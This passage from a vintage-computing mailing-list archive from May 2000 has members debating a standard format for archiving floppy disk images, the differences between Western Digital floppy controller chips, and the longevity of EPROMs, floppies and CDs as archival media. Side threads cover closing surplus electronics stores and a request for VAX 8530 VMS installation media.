1773 was the earlier single density controller. > > The 1793 was the later DD and SD controller in nearly the same pinout > and basic IO. > > >Field? The early Tandy controllers that required 12V were based on the > >1793, and weren't the later 5Vonly ones based on the 1773? > > > No. The tandy used the 1773 and was wired to provice the -5V and +12V > as needed but there were parts that didn't use the -5V (SMC 1773). > > The 1793 wanted +12 and +5 though there were 5volty only versions later on. > > Allison > From richard at idcomm.com Tue May 30 19:00:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <006601bfca86$1cfaf360$7964c0d0@ajp166> Message-ID: <008901bfca93$49185d40$0400c0a8@EAHOME> Yes! So why's Sellam Ismail wanting to mix OS and data elements? He's unhappy with the notion of putting only what you need on a diskette which holds what you want to archive. What good does CP/M OS material do him if he's using OS-8? Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 4:24 PM Subject: Re: Defining Disk Image Dump Standard > >> The way you separate the operating system from the executables is by > never, > >> Never, NEVER, mixing them on the same medium, particularly if it's > intended > >> for dissemination. If the platforms are disparate, you certainly don't > need > > > >Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all > >the various computer manufacturers to never, NEVER mix their OS with the > >rest of the program space on the disk. Fortunately, we are not trying to > >revise the reality of our world, but are merely trying to deal with what > >it has become, which is a much simpler procedure. > > > Done! the OS was never mixed with data on CPM disks until CPM3 and > CPM86. > > the system booted off OS specific tracks and DATA was never stored there > and SYSTEM was never stored on DATA tracks. This applies to CP/M > {1.3, 1.4, 2.0, 2.2} explicitly and many others as well. > > It makes little difference though. as then only reason is to make the boot > easier as the booter then doesn't have to know the file system to read > and launch the system which for cpm wasn't defined until boot completed > (as the system tables were part of the boot image). > > Allison > From ss at allegro.com Tue May 30 19:13:29 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:53:13 2005 Subject: A moment of silence... In-Reply-To: <"l03102811b55999074984(a)(091)24.24.232.57(093)*"@MHS> References: <200005302205.PAA27670@civic.hal.com> Message-ID: <3933F6B9.13779.1FF9029C@localhost> Re: > > Halted is still here, it was Haltek that went under. > >Dwight > Is HSC the place across the street from WSW and Fry's? > > Where was Haltek? Haltek is/was in Mountain View, off of Moffet & Terra Bella (?), near 101. Halted is in Sunnyvale (?), near Fry's / Costco / (old)NCA / (old) Weirdstuff Warehouse / Action Surplus. If you're coming "south" on Central Expressway, the first exit after Lawrence Expressway is right in front of the Halted building. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ard at p850ug1.demon.co.uk Tue May 30 19:10:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005302348.QAA28909@civic.hal.com> from "Dwight Elvey" at May 30, 0 04:48:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2761 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/7f4318d2/attachment-0001.ksh From richard at idcomm.com Tue May 30 19:15:22 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <009101bfca95$50744c00$0400c0a8@EAHOME> In general, Western numbered their FDC's such, that their parts had odd numbers on the "normal" parts. The mainstream FM-only part was the 1771, which is what was in the RS Model 1 and which used +12 on one of its 40 pins. It had an inverted data bus. The 179x series was more fully developed, in that the 1791 was a 40-pin part using +12 but which was MFM-and-FM-capable, but required external data processing to apply precomp on writes and to extract clock from the raw data stream on reads. Like the 1771, it had an inverting data bus. Western also made a 179x member or two that had non-inverting data ports. These were the 1793 and 1797. These were like the 1791, and 1795, which had the inverting data port, but of which the 1795/97 was intended for use with two-sided drives. The 1793 and '97 had noninverted busses, while the 1791 and 1795 had inverted busses, and the '97 and '95 had a head-select provision not provided internally in the other (lower) numbers. The 1770,1772, and 1773 are/were 28-pin parts, using 5-volts only, and equipped with heavy duty drivers capable of driving the FDD cable, while the 40-pin parts required external buffering. The 1770/72/73 had internal data/clock separators and write precompensation logic. They were clearly intended for use only with 5-1/4" drives, as they had provision for the motor-on signal, with the exception of the 1773, which differs slightly. There was also a 1774 that I read about at one time, intended for use with M^2FM which didn't make it to market. I've never seen one, however. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 30, 2000 5:10 PM Subject: Re: Defining Disk Image Dump Standard > > > > Rumor has it that Richard Erlacher may have mentioned these words: > > > > >Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > > >(similar to 1770/72). Do you know of any systems in which it was used? > > > > Wasn't the 1773 a single-chip version of the 1793, or am I out in Left > > Basically, yes. I know I have the data sheets in my Western Digital > Databook (along with the 1770, 1771, 1772, 179x, 279x, and some hard > disk controller chipsets). But I'm not going to go and find said book > unless you need things like pinouts, etc. > > > Field? The early Tandy controllers that required 12V were based on the > > 1793, and weren't the later 5Vonly ones based on the 1773? > > For the CoCo, yes. The older one had a 1793, and needed 12V (which means > it didn't work on a CoCo 2 or 3 without a hardware mod to the computer, > or the use of a multipak interface). The later ones used the 1773 and > only needed +5V. > > But other TRS-80s used other controllers : > > Model 1 : 1771 (together with a 1791 if you had a double density mod) > Model 2 : 1791 (I think -- it was a 179x series) > Model 3/4 : 1793 > > -tony > From ard at p850ug1.demon.co.uk Tue May 30 19:12:35 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <008301bfca92$dd854d40$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 05:57:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 417 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/fcd6fdbc/attachment-0001.ksh From richard at idcomm.com Tue May 30 19:20:35 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <006401bfca86$1b08c050$7964c0d0@ajp166> Message-ID: <009901bfca96$0c9a30c0$0400c0a8@EAHOME> See comments embedded below, plz. ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 4:07 PM Subject: Re: Defining Disk Image Dump Standard > >I always figured the reason for the restriction was dumb boot PROMs, which > >only know how to do programmed I/O to the FDC, and 8" DD comes in too fast > >for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on > >a particular system is smart enough to set up DMA, no need to require SD. > > > it's an artifact of how people though the DDmedia was speced by IBM and > a lack of knowledge of CP/M boot as everyone just followed the book blindly. > > Not all required {or even had it!} DMA to do DD, CCS didn't. That's proof that DMA was unnecessary! A DMAC cost quite a bit back then. > I'd add that DMA was mostly uncommon save for the more refined or robust > systems. > > Allison > > I don't see how adding an unnecessary part makes a system more robust or refined. It was quite straightforward to write and run FDC handlers that used programmed I/O quite adquately and since CP/M and other simple OS' seldom did anything useful with the small segments of saved time, (12 u-sec's per byte) it didn't help. Some other devices might have justified DMA, but floppy drives actually didn't unless they were used with an 8080 or other slow processor. > From elvey at hal.com Tue May 30 19:24:42 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: <200005310024.RAA29348@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > environmental conditions. OTP EPROMS are pretty stabile, however, and > > they're VERY small. > > Rubbish!. > > I am _not_ going to trust my data to charges stored on the floating gates > of some chip. No way. Even the manufacturers quote data lifetimes of a > few 10s of years at most. That is not archival storage. Nor are EPROMs > particularly robust -- they can be damaged by static, head, misapplied > voltages, etc. Hi I like soldered diode arrays. Even if one diode burns out, one takes a polaroid picture to use as a reference and solders in another diode. Overlapping of the polaroid with a negative of the fixed array confirms correct repair............. Oops, sorry, I got carried away. I agree with Tony that most magnetic media is at least as reliable if stored in the right environment than a charge on a floating gate. This does go back to what I said about using multiple types of media. It is necessary to use more than one type. The types should be as varied as current technology would allow. Also, the multiple copies on any particular media should also be done on different manufactures of that same media type. I was just, barely, able to recover some original data from distribution disk that were for a Kaypro II because the adhesive used to hold the pads in the disk, bled through the pads and got on the disk. This most likely was a problem with only one manufacture. Dwight From richard at idcomm.com Tue May 30 19:26:23 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> <20000530195734.B21255@alcor.concordia.ca> Message-ID: <00ab01bfca96$da218c00$0400c0a8@EAHOME> Unfortunately, too few people have had floppy "archives" for over 20 years and seen what they have left. Dick ----- Original Message ----- From: Rich Lafferty To: Sent: Tuesday, May 30, 2000 5:57 PM Subject: Re: Defining Disk Image Dump Standard > On Tue, May 30, 2000 at 05:19:45PM -0600, Richard Erlacher (richard@idcomm.com) wrote: > > You don't get it, do you? > > > > I'm saying it's probably a bad idea to use floppy media. This is because > > it's mechanical, (2) because it's organic, and (3) because it is soon to > > become obsolete. Aside from problems of data format incompatibility, you > > have to deal with the mechanism to be able to read/write the archive's > > constituent elements. > > [snip] > > > If you're serious about creating an archive. It needs to be permanent, so > > it's essentially requisite that the media be write-once. > > I haven't been following this thread, but I happened to notice this > post. I happened to be speaking to the chief archivist here at the > University today about electronic archiving, and the one thing that > came across in the conversation is that the bottom line regarding > digital archives is that archiving has become a continuous process. > >From her perspective, it was simply that one could no longer store > away paper and expect it to last hundreds of years; relevant to this > discussion is that the new approach to archiving revolves around not > only choosing media that will both last and not-be-obsolete for N > years, but also arranging the process such that in N minus epsilon > years, the media choice is re-evaluated and the archives rewritten in > the new media, and repeat. > > Permanent digital archives, in other words, are the holy grail of the > archivist's realm. :-) > > Of course, IANAArchivist. > > -Rich > > > -- > ------------------------------ Rich Lafferty --------------------------- > Sysadmin/Programmer, Instructional and Information Technology Services > Concordia University, Montreal, QC (514) 848-7625 > ------------------------- rich@alcor.concordia.ca ---------------------- > From richard at idcomm.com Tue May 30 19:28:42 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME> You're right, you can DESTROY data recorded on an EPROM. You have to set about to do that, however, and I know few archives where that's likely to be tolerated. If you put floppy diskettes on the shelf and wait 20 years, you'll see what's left of your archive. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 30, 2000 5:52 PM Subject: Re: Defining Disk Image Dump Standard > > > > You don't get it, do you? > > No, _You_ don't get it. > > We're not talking about making an archive _on_ floppy disks. We're > talking about defining a format for a file to be used to store the > contents of floppy disks. > > This file can be stored on just about anything. Magnetic disks, magnetic > tape, multiple reels of paper tape, EPROMs, Bubble memory, you name it. > > The idea is that floppy disks (that's real floppy disks) from classic > computers (which, like it or not are what this list is about :-)) can > then be archived on something a little easier to preserve and a little > easier to transfer around the world than the physical disks. > > > environmental conditions. OTP EPROMS are pretty stabile, however, and > > they're VERY small. > > Rubbish!. > > I am _not_ going to trust my data to charges stored on the floating gates > of some chip. No way. Even the manufacturers quote data lifetimes of a > few 10s of years at most. That is not archival storage. Nor are EPROMs > particularly robust -- they can be damaged by static, head, misapplied > voltages, etc. > > I back up EPROMs to other media, not the reverse... > > > > > > If you're serious about creating an archive. It needs to be permanent, so > > it's essentially requisite that the media be write-once. I'd say you're > > Actually, OTP EPROMs are not write-once. You can write them as many times > as you like. The only thing is you can only change a '1' into a '0', and > never the reverse. So you could 'erase' the archive (simply fill the > EPROM with 0s). Or corrupt it (flip a few odd 1's to 0's). > > FWIW, the Psion Organiser (an early UK-made PDA) had plug-in EPROM > cartridges. These were used as file storage devices. A file could be > 'deleted' by setting a bit in its header to 0, whereupon the system would > no longer find the file, but obviously it would still take up space on > the EPROM. The Datapak (EPROM module) could be 'reformatted' in a special > formatter, which was nothing more than a UV-eraser. > > > better off with an OTP EPROM. Hardware to create them is dirt-simple to > > create, eraseable/rewritable equivalents are readily available, and even if > > the OTP's (very inexpensive, by the way) become scarce, there will still be > > rewritables available which can be write protected by removing the VPP or > > program pin. Use those and you'll have a real archive. What's more, there > > Incidentally, a lot of EPROMs don't like having Vpp floating, they want > it tied to Vcc (normally). Ditto for PGM/ > > -tony > From allain at panix.com Tue May 30 19:32:42 2000 From: allain at panix.com (John Allain) Date: Sun Feb 27 18:53:13 2005 Subject: A moment of silence... References: <000001bfca6f$e1450240$0e0301ac@dba00802.databaseamerica.com> Message-ID: <00b501bfca97$bc5c47e0$8a0101ac@ibm23xhr06> > At the end of last month, Haltek Electronics, Mountain View, > CA closed their doors... Just read this. > Whatever else happens, I pray that other surplus stores, such > as Weird Stuff and Sharon Industries, aren't next on the chopping > block. -- Bruce Lane Please don't hesitate to post If you hear rumors about any of these threatning to close: Alltronics Computer Literacy Halted Wierd Stuff (other like Surplus) Fry's (Yes, even Fry's) News of such a thing could trigger a long put-off return visit. John A. SValley res. 1987-1990. From elvey at hal.com Tue May 30 19:37:16 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: <200005310037.RAA29540@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > I don't think that we should even try to save data in the > > original format as long as there is a method such as I > > Well, there's no reason not to. And a lot of us here use the old > computers that _need_ the data on the original media. You can't exactly > boot a home micro from an image file on a unix box, you know :-) > [....] Hi And why not? I brought up a CPM machine from ground zero with just such a method. It wasn't easy but I just think it is wise to include these types of operations in the archive. I don't think in these cases that keeping original media is as good an idea. When the last original machine fails with the blowing of the last SN7400, do you expect to quickly transfer the data to a new media? The software it self has future value, even without the original machine. We should be looking at long term methods of preserving as much as we can. As you stated, things like schematics are of that type but I think what Sam is worried about is that we are loosing software faster than other elements of computers because, like the old metal toys, people seem to place less value on that information and it is destroyed more often. Dwight From richard at idcomm.com Tue May 30 19:39:31 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <00c301bfca98$b37e45a0$0400c0a8@EAHOME> If you wanted to preserve the sense of the data bus, you'd use a 1791, which also has the inverted data bus. The 1791 and 1793 are otherwise identical. It's pretty straightforward upgrading a 1771 with a 1791, with the exception of the write precomp and clock/data separation logic, which has to be upgraded. I find the SMC9229 a fine solution. It also muxes the clock to the appropriate harmonic of the 179x clock. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 30, 2000 6:12 PM Subject: Re: Defining Disk Image Dump Standard > > > > The 'Shack model 1's had a 1771 and the model 3's had a 1793. These were > > nearly pin-compatible, both on a 40-pin footprint and required buffering to > > One big pin-compatibility difference is that the 1771 had active-low data > pins, and the 1793 had active-high data pins. The 1791, with active-low > data pins, was closer to the 1771, therefore, and was what was used in > the Tandy double density mod. > > -tony > From paulrsm at ameritech.net Tue May 30 19:26:02 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:53:13 2005 Subject: Kim-1 analog portions Message-ID: <20000531004403.CMIH2991.mailhost.kal.ameritech.net@paulrsm> ---------- > From: Ryan K. Brooks > To: classiccmp@classiccmp.org > Subject: Kim-1 analog portions > Date: Tuesday, May 30, 2000 04:41 PM > > There's a lot of analog stuff (mostly large caps from what I can tell) > in the lower left. Is this power supply stuff? Tape stuff? I've > got a Sym-1, and doesn't have nearly as much analog on it. At www.6502.org there are links to KIM (and SYM and AIM) pages where you can find photographs and schematics. I am sure you can figure out exactly what that stuff does. (Don't ask me, I'm a software guy not a hardware guy.) Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net From pechter at pechter.dyndns.org Tue May 30 19:48:06 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:13 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: from Mike Ford at "May 30, 2000 01:52:23 pm" Message-ID: <200005310048.UAA08643@bg-tc-ppp940.monmouth.com> > >> > >Well, the rule depends. If it's a commercial dumpster on > >private property you're tresspassing and stealing if it's in > >the dumpster. At the curb it's on public property and avaiable. > > If it didn't have value you wouldn't be taking it now would you? Here in > the peoples republic of California, Orange division once it hits the curb > is the legal property of the city, which gets a check from the waste > company based on aluminum cans etc. Scavenging is illegal, and they even > send out magnets with a hotline number to call for reporting it. > > OTOH I had a little dumpster diving in mind for this afternoon. Gee -- I guess NJ is a bit better. Anyone want some 386 DX and SX motherboards for the cost of shipping. I'm keeping the cases to house 486's. 'Got a couple of 386SX's and a 386DX20 with 387DX and 4mb of 1meg DIPPs. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From paulrsm at ameritech.net Tue May 30 19:56:30 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <20000531005849.CPGO2991.mailhost.kal.ameritech.net@paulrsm> ---------- > From: Richard Erlacher > To: classiccmp@classiccmp.org > Subject: Re: Defining Disk Image Dump Standard > Date: Tuesday, May 30, 2000 08:28 PM > > If you put floppy diskettes on the shelf and wait 20 years, you'll see > what's left of your archive. This weekend I backed up a set of factory-original Apple II CP/M disks for MicroPro applications (Wordstar, Mailmerge, Spellstar, Datastar, Reportstar, Calcstar, etc). The disks were dated 1979-1982 and there were no errors reading them. I copied them twice: once to another floppy, and once to the Apple II disk archive format (ShrinkIt) on my hard drive. Twenty years is not too long if you use single-sided single density diskettes that cost $10 each (in 1980 dollars!). I don't trust today's ten-cent double-sided high-density diskettes for any long term storage. Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net From richard at idcomm.com Tue May 30 20:20:11 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <20000531005849.CPGO2991.mailhost.kal.ameritech.net@paulrsm> Message-ID: <011001bfca9e$64136760$0400c0a8@EAHOME> As long term storage goes, I'm not hard-over on the OTP EPROM thing, but I do belive something other than FD's should be considered. Perhaps if the stuff were carefully catalogged and reduced to compressed format subsequently recorded on CD, that would be a decent archive. I've got 20+ year-old diskettes I still use without problems, but it's dry here in Denver. Where it's damp, or, worse, where humidity ranges over a wider range than here, floppies and mag-tape don't fare as well. Multisession CD might be the best choice, making it possible to add later versions to the same CD that holds the earlier ones. This is already-aged software, etc, though, isn't it? Dick ----- Original Message ----- From: Paul R. Santa-Maria To: Sent: Tuesday, May 30, 2000 6:56 PM Subject: Re: Defining Disk Image Dump Standard > ---------- > > From: Richard Erlacher > > To: classiccmp@classiccmp.org > > Subject: Re: Defining Disk Image Dump Standard > > Date: Tuesday, May 30, 2000 08:28 PM > > > > If you put floppy diskettes on the shelf and wait 20 years, you'll see > > what's left of your archive. > > This weekend I backed up a set of factory-original Apple II CP/M disks for > MicroPro applications (Wordstar, Mailmerge, Spellstar, Datastar, > Reportstar, Calcstar, etc). The disks were dated 1979-1982 and there were > no errors reading them. I copied them twice: once to another floppy, and > once to the Apple II disk archive format (ShrinkIt) on my hard drive. > Twenty years is not too long if you use single-sided single density > diskettes that cost $10 each (in 1980 dollars!). > > I don't trust today's ten-cent double-sided high-density diskettes for any > long term storage. > > Paul R. Santa-Maria > Ann Arbor, Michigan USA > paulrsm@ameritech.net > From allisonp at world.std.com Tue May 30 19:28:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <009e01bfca9b$0be3bfc0$7964c0d0@ajp166> >If you're serious about creating an archive. It needs to be permanent, so >it's essentially requisite that the media be write-once. I'd say you're >better off with an OTP EPROM. Hardware to create them is dirt-simple to >create, eraseable/rewritable equivalents are readily available, and even if >the OTP's (very inexpensive, by the way) become scarce, there will still be >rewritables available which can be write protected by removing the VPP or >program pin. Use those and you'll have a real archive. What's more, there >are no mechanical components, nothing to rust, become misaligned, or wear >out. Your kidding? Right? Eproms, have a finite random failure rate and while better in some ways over time you still run the risk of total failure due to: Environment, humidity increases failure rate. Temperature Time Electrical stress. This does not include ESD and circuit mishandling. it still assumes compatable technology (try reading a ECL prom using TTL). Add to this the great number of devices needed to contain said archive your risking the boat in exactly the same way as CDrom or on shorter time spans magnetic media. All of this is seperate from the format that will assure recovery of the data. Myself I'd rather risk even floppies with their known weakness and use redundant recording and added error detection/correction. Even when applied to CDroms this is more viable. Most of all it matters not what you do, what you do it on! It does matter that sufficient data on what was done is available along with the archive to reconstruct not only the data but the systems that archived it (or can recover it!!!). Books work because they can be preserved and copied if they start to decompose and we teach the languges needed to read them. Reminds me of an old theological arguement of how many angles can dance on the head of a pin. Untill we have music, a pin and angles it's simply an exercise with a meaningless outcome to all but the faithful. Allison From allisonp at world.std.com Tue May 30 19:54:15 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard Message-ID: <009f01bfca9b$1130b690$7964c0d0@ajp166> >However, I've just thought of a better example : I once saw a card for an >Apple ][ containing a 1771 and associated components (and probably a >ROM). It linked to an external box containing 2 8" drives. The official >purpose was to allow an Apple with a Z80 Softcard to read standard SSSD >CP/M disks. But I am _sure_ it could have been used from Apple DOS given >the right software. > >Which means the archive format would have to allow for : > >Apple ][, 16 sector 5.25" GCR-encoded disk >and >Apple ][, 26 sector, 8", FM encoded disk. > >It may be a _very_ unusual format, but a proposed archive format should >be able to handle _anything_. In any case, I would think that 256 >sub-formats for each machine would be plenty, which means this adds _1 >byte_ to the archive size. Not really a problem IMHO. You also forget the trackstar apple][ board for PCxt systems that could use the DOS disks for storage via the PC hardware never minding it's direct interface. To make it work in the end you need some basic documentation and a rosetta stone to assure the results are valid. IE: what are you looking for, how to get it, and did you get that? My solution for myself... use the newest media the system can support or I can easily transfer bulk to. 3.5" floppies are OK. Then figure out what I'm saving. 300 copies of CP/Ms PIP for V2.2 are pointless as are ASM, and all the other common stuff. Also how many copies of worstar for ADM3 do I need? Reducing this is easier on physical storage too. Also using a system that can handle multiple formats or a common one via simple changes to reduce the possible medias used to one helps. In the end it's easy to work backward to say 8" CPM SSSD with an CCS bios if you have a system image, the CCS unique utilities, CPM std utilities, track layout and of couse a system that can write it all on a suitable floppy. this avoids the need to have a real CCS bootable disk as you can make as many as you need. Then again if you have a CCS system with a monitor rom you could down load the peices and use itself to write to disk as native. For example much of my archive is on AMPROLB. It is very copyable Z80 design and as is can format/accept/boot/copy a large number of formats: Both 5.25" and 3.5". My S100 system can bridge the 8" 5.25 and 3.5" rift making a very large number of formats possible in short order. Both system even can read/write dos compatable disks (if it's on the WC cdrom it's auto archived). So softsector is covered {with exceptions like Intel M2fm and RX02 mixed}. Hardsector and vendor unique at the extreme are more difficult, those include: NorthStar* (all) Apple TRS80 Heath DEC RX02 Intel MDS230 series DD controller and others as they did things that were very specific or unique to them and most common hardware is unable to reproduce it. this is where the challenge lies. Allison From wilson at dbit.dbit.com Tue May 30 21:08:11 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME>; from richard@idcomm.com on Tue, May 30, 2000 at 06:28:42PM -0600 References: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME> Message-ID: <20000530220811.A18194@dbit.dbit.com> On Tue, May 30, 2000 at 06:28:42PM -0600, Richard Erlacher wrote: >If you put floppy diskettes on the shelf and wait 20 years, you'll see >what's left of your archive. [replying to:] >From: Tony Duell [...] >> We're not talking about making an archive _on_ floppy disks. We're >> talking about defining a format for a file to be used to store the >> contents of floppy disks. Oh for chrissake, did you even read Tony's post, which you thoughtfully quoted in its entirety to clog everyone's mailbox AS USUAL? This has been a long time coming -- Dick, welcome to my email filter. John Wilson D Bit From geoffrob at stmarks.pp.catholic.edu.au Tue May 30 21:15:44 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:53:14 2005 Subject: Fw: VMS media availability for VAX 8530 Message-ID: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> Following post from comp.sys.dec reposted to classic computers at request of originator. Anyone on the list that can help him? I have the Pro380 console and 5.25" media for an 8530 console, (and an 8530 - minus the console to vax cables) even VMS on 9 track, but I'm a bit far away... I initially thought this place was in Europe somewhere, but it seems it's actually in New York USA. I've mentioned the room heater effects of ECL based systems. ----- Original Message ----- From: "Derek Konigsberg" Newsgroups: comp.sys.dec Sent: Sunday, May 28, 2000 1:31 AM Subject: VMS media availability for VAX 8530 > Hello, > In the Electronics Club at RPI (Rensselaer Polytechnic Institute), > we've come across a number of old DEC machines. It all started with a > PDP-11/45, then we got a VAX 8530 that was being dumped. We also have > a VAXstation 4 (doesn't exist, but we have one, and it looks like a II > by the case design) and a VAXstation 3100. Anyways, the main problem > is the 8530. Our main RA82 hard drive doesn't spin up, and we can't > find the problem. We have other functional hard drives, but no means > of installing VMS on them. Basically, we need the tape for our TU81+ > tape drive (6250bpi, I think), and the 5-1/4" floppy disk to put in > the console to bootstrap the machine. Yes, for anyone who didn't > know, this machine requires a special "VAX Console" (no, it's not a > terminal) to tell the machine to power up and to download the > microcode. Anyways, right now the machine is an impressive metal > obstruction in the room until we get it operational. So, does anyone > have or know where we can find the right VMS media for this beast? > > P.S. Just wondering, but anyone know what thing thing sold for back in > '87 when it was new? > > Thanks, > Derek Konigsberg > RPI Electronics Club, President > konigd@rpi.edu > > From allisonp at world.std.com Tue May 30 20:27:09 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard Message-ID: <00e401bfcaa0$7f940b50$7964c0d0@ajp166> >> No, they are not the same. the latter will do DD and the 1773 was single >> density. >> The 1773 was used on TRS80, Icom, and other early systems that were >> softsector. > > >I can assure you that a 1773 is capable of double density operation. I shuffled the 1771 with 1773. Oops, it's easy to do with WD numbering. Allison From elvey at hal.com Tue May 30 22:30:56 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:14 2005 Subject: Floppy disk controllers In-Reply-To: <200002042133.NAA27309@spies.com> Message-ID: <200005310330.UAA01767@civic.hal.com> Hi With all of the stuff about WD1771's and WD1793's I thought I'd pass on a site I located the other day: http://pilot.ucdavis.edu/davidk/documentation/trs-tech.htm Later Dwight From foo at siconic.com Tue May 30 23:07:14 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005302348.QAA28909@civic.hal.com> Message-ID: On Tue, 30 May 2000, Dwight Elvey wrote: > It was not specifically mentioned but I also think > we should archive a method to boot strap the machine > from ground zero, were this can be done with things > like front panels or ROM monitors. I realize that this This is useful, however I think it is a totally different endeavor. > As was stated by others, the > media for archiving needs to be in a currently common > format that is supported by todays machines. It has > also been generally recognized that it should be occasionally > brought up to date by moving to newer media. It is my It was always my assumption (and I thought it was a fairly obvious one) that the archives would be stored on either hard drives or CD ROM or whatever modern day media makes sense. I would not store the archives on floppies, although that is entirely up to whomever wants to create an archive. Where the archive gets stored is not of concern to the standard. The standard is simply there to provide a common, DOCUMENTED format by which we store archived floppy diskettes. > As was mentioned, even in CPM, part of the OS might > be in a file. This means that the method of saving > must include the ability to link a number of pieces > that were not necessarily tied together as a single > data stream. Which is why one would archive the diskette as a whole, as opposed to getting into high levels and attempting to interpret the data on the diskette. We don't want to do that. We just want to look at the disk as a bunch of bytes and archive the whole thing. > Another thing that wasn't talked about was CRC's. Even > though most media has built in CRC's, there is no way > to detect a failure in the communications between the > new and old media. I suggest that this be at least a > two level CRC. The first level would be on small blocks > of data that the CRC could do error correction on with > a reasonable burst size compared to the block size. > The next level would have a larger CRC with a burst correction > size that would be greater than two times the lower > levels CRC. This last level of CRC would have several Good point. I hadn't considered error checking. That can be added to the header. > I also doubt, that most people realize that there are > other types of data encoding than MFM and FM. Intels > M2FM comes to mind, as well as the Apple format. It was > stated that people felt that it would not be practical > to make a piece of hardware that could read any arbitrary > format. I contend that as long as that format could > have been read or written through that drive that a > simple DSP chip could be used to make a universal controller > chip. Vary little hardware, other than a simple development > board, would be needed. I find it hard to believe that That would certainly be one way to do it, but I think it's more feasible to attempt to do this by a combination of using the actual hardware and the software that does the archiving. The usefulness of archiving old diskettes is to make them available in perpetuity. Whether we are archiving them so that we can always create a physical disk from the archive to run on the original machine or use the archive as a "virtual diskette" for an emulator, having an actual disk image archived on a long term storage medium is my goal. > To show the variety of things, the machine I'm working on > has two sectors per track of 20480 bits. This is on > 32 hard sectored media. It is regular FM, though. And the standard we are trying to define would be able to accomodate such a funky format! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 23:15:50 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <008901bfca93$49185d40$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > Yes! So why's Sellam Ismail wanting to mix OS and data elements? He's > unhappy with the notion of putting only what you need on a diskette which > holds what you want to archive. What good does CP/M OS material do him if > he's using OS-8? I'm not directing this message to Dick, because the general assumption is that he won't understand no matter how I explain it and no matter what language I use (perhaps I should learn Martian?) At any rate, this is more directed towards anyone who has gotten confused as a result of Dick's continued brain farting. A floppy diskette is a stream of bytes. What those bytes represent 